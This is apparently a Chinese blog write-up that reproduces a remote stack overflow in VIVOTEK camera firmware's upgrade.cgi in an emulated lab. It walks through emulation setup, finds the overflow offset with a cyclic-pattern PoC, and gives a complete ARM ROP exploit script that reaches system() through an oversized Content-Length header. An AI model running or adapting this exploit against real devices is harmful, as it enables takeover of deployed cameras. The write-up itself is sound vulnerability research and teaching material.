参考链接:
https://p1kk.github.io/2021/04/14/iot/vivotek%20%E6%91%84%E5%83%8F%E5%A4%B4%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
https://github.com/Vu1nT0tal/IoT-vulhub/tree/master/VIVOTEK/remote_stack_overflow
环境模拟
首先用binwalk解包会获得一个比较复杂的目录,先找下squashfs在哪
1 2 3 4
| youlin@ubuntu:~/rw/VIVOTEK/remote_stack_overflow/firmware/_CC8160-VVTK-0100d.flash.pkg.extracted$ find -name squ* ./_31.extracted/_rootfs.img.extracted/squashfs-root-0 ./_31.extracted/_rootfs.img.extracted/squashfs-root youlin@ubuntu:~/rw/VIVOTEK/remote_stack_overflow/firmware/_CC8160-VVTK-0100d.flash.pkg.extracted$
|
然后就是确认下架构
这里我选择的是用qemu的系统级模拟,设置好网卡后,将文件系统上传,然后挂载一下/dev和/proc
1 2
| mount -t proc /proc ./squashfs-root/proc mount -o bind /dev ./squashfs-root/dev
|
接着就可以尝试启动httpd服务了
看到上面报错,在ida中查一下boa.conf的路径
在我们binwalk解包出来的文件中也有这个,直接将一整个目录传到对应的地方去
然后报错就变成这个了,在ida中找会触发这个报错的地方
利用了gethostbyname()函数,返回rlimits结构体中通过主机名找到的ip地址,像下面这样改就可以了,这样httpd服务就已经跑起来了
漏洞分析以及调试
一个strncpy造成的栈溢出漏洞
strncpy()用来复制字符串的前n个字符,其原型为:
char * strncpy(char *dest, const char *src, size_t n);
【参数说明】dest 为目标字符串指针,src 为源字符串指针。
strncpy()会将字符串src前n个字符拷贝到字符串dest。
不像strcpy(),strncpy()不会向dest追加结束标记’\0’,这就引发了很多不合常理的问题,将在下面的示例中说明。
注意:src 和 dest 所指的内存区域不能重叠,且 dest 必须有足够的空间放置n个字符。
【返回值】返回字符串dest。
strchr() 用来查找某字符在字符串中首次出现的位置,其原型为:
char * strchr (const char *str, int c);
【参数】str 为要查找的字符串,c 为要查找的字符。
strchr() 将会找出 str 字符串中第一次出现的字符 c 的地址,然后将该地址返回。
注意:字符串 str 的结束标志 NUL 也会被纳入检索范围,所以 str 的组后一个字符也可以被定位。
【返回值】如果找到指定的字符则返回该字符所在地址,否则返回 NULL。
返回的地址是字符串在内存中随机分配的地址再加上你所搜索的字符在字符串位置。设字符在字符串中首次出现的位置为 i,那么返回的地址可以理解为 str + i。
poc:
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import * import requests
header = { "Content-Length":"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa" }
url = "http://192.168.65.2" + "/cgi-bin/admin/upgrade.cgi"
session = requests.session() session.post(url, headers=header)
|
这里可以测出溢出的长度是51,接着就是考虑arm的栈溢出利用了
漏洞利用
其实在测出溢出的长度是51之后,利用都比较简单了,但是需要注意的是因为造成溢出的是strncpy函数,所以payload当中不能有’\x00’,于是只能将aslr关掉之后用libc当中的gadget,并且不能直接用pop {r0,pc}这个gadget,地址当中含有\x00
所以选择用pop {r1,pc}和mov r0,r1来代替
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import * import requests libc=ELF("libuClibc-0.9.33.3-git.so")
libcbase=0x76f2d000 pop_r0=libcbase+0x00033100 pop_r1=libcbase+0x00048784 mov_r0_r1=0x00016aa4+libcbase #mov r0, r1; pop {r4, r5, pc}; system=libcbase+libc.sym['system'] cmd_addr=0x7effeb74 cmd=b'echo "pwned_sucess" > /tmp/test.txt;'
payload=b'A'*51+p32(pop_r1)+p32(cmd_addr)+p32(mov_r0_r1)+b'A'*8+p32(system)+cmd #payload=b'A'*51+b'B'*4
header = { "Content-Length":payload }
url = "http://192.168.182.111" + "/cgi-bin/admin/upgrade.cgi"
session = requests.session() session.post(url, headers=header)
|